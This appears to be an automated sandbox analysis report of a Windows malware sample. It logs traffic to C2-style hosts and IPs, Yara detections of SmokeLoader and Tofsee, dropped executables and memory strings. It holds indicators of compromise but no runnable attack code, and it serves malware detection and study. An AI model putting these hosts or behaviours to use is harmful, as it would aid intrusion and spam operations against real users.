Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 00000012.00000003.378077502.0000020403B6B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 00000012.00000003.378077502.0000020403B6B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 00000012.00000003.378108750.0000020403BE7000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378077502.0000020403B6B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000012.00000003.378108750.0000020403BE7000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378077502.0000020403B6B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eluhjvhtyp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.3:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49897 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 14.2.jhewjjt.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JV4ILFxpDY.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.8939.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.330734940.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386614680.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318001908.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386682726.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.402105376.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.401978598.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.330793260.00000000004E1000.00000004.00020000.sdmp, type: MEMORY

Source: 8939.exe, 00000015.00000002.390519036.000000000077A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.85ED.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.436599794.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.396578240.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 85ED.exe PID: 5332, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:
Source: 754.exe.10.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_0042B240	0_2_0042B240
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_0042A460	0_2_0042A460
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00424F30	0_2_00424F30
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_006431FF	0_2_006431FF
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00643253	0_2_00643253
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402A5F	2_2_00402A5F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402AB3	2_2_00402AB3
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402A5F	2_1_00402A5F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402AB3	2_1_00402AB3
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 14_2_00573253	14_2_00573253
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 14_2_005731FF	14_2_005731FF
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402A5F	15_2_00402A5F
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402AB3	15_2_00402AB3
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402A5F	15_1_00402A5F
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402B2E	15_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_004027CA	17_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_00401FF1	17_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_0040158E	17_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_004015A6	17_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_004015BC	17_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_00411065	17_2_00411065
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_00412A02	17_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_0040CAC5	17_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_00410B21	17_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: 17_2_004115A9	17_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0042B040	21_2_0042B040
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_0042A260	21_2_0042A260
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00424D30	21_2_00424D30
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_005731FF	21_2_005731FF
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00573253	21_2_00573253
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402A5F	24_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402AB3	24_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00410800	25_2_00410800
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00411280	25_2_00411280
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004103F0	25_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004109F0	25_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00590A50	25_2_00590A50
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00590640	25_2_00590640
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00590C40	25_2_00590C40
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005914D0	25_2_005914D0
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_0040C913	26_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_0042B0C0	26_2_0042B0C0
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_0042A2E0	26_2_0042A2E0
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00424DB0	26_2_00424DB0
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_02D796F0	27_2_02D796F0
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_02D70B7A	27_2_02D70B7A
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_02D70470	27_2_02D70470
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_02D70460	27_2_02D70460
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_05221810	27_2_05221810
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_052253F8	27_2_052253F8
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_05220448	27_2_05220448
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_05222E48	27_2_05222E48
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_0523AD68	27_2_0523AD68
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_0523A430	27_2_0523A430
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_05232C88	27_2_05232C88
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_052308B0	27_2_052308B0
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_052353E0	27_2_052353E0
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Code function: 27_2_052390D3	27_2_052390D3

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

26_2_00401280

Source: JV4ILFxpDY.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: JV4ILFxpDY.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: JV4ILFxpDY.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: JV4ILFxpDY.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
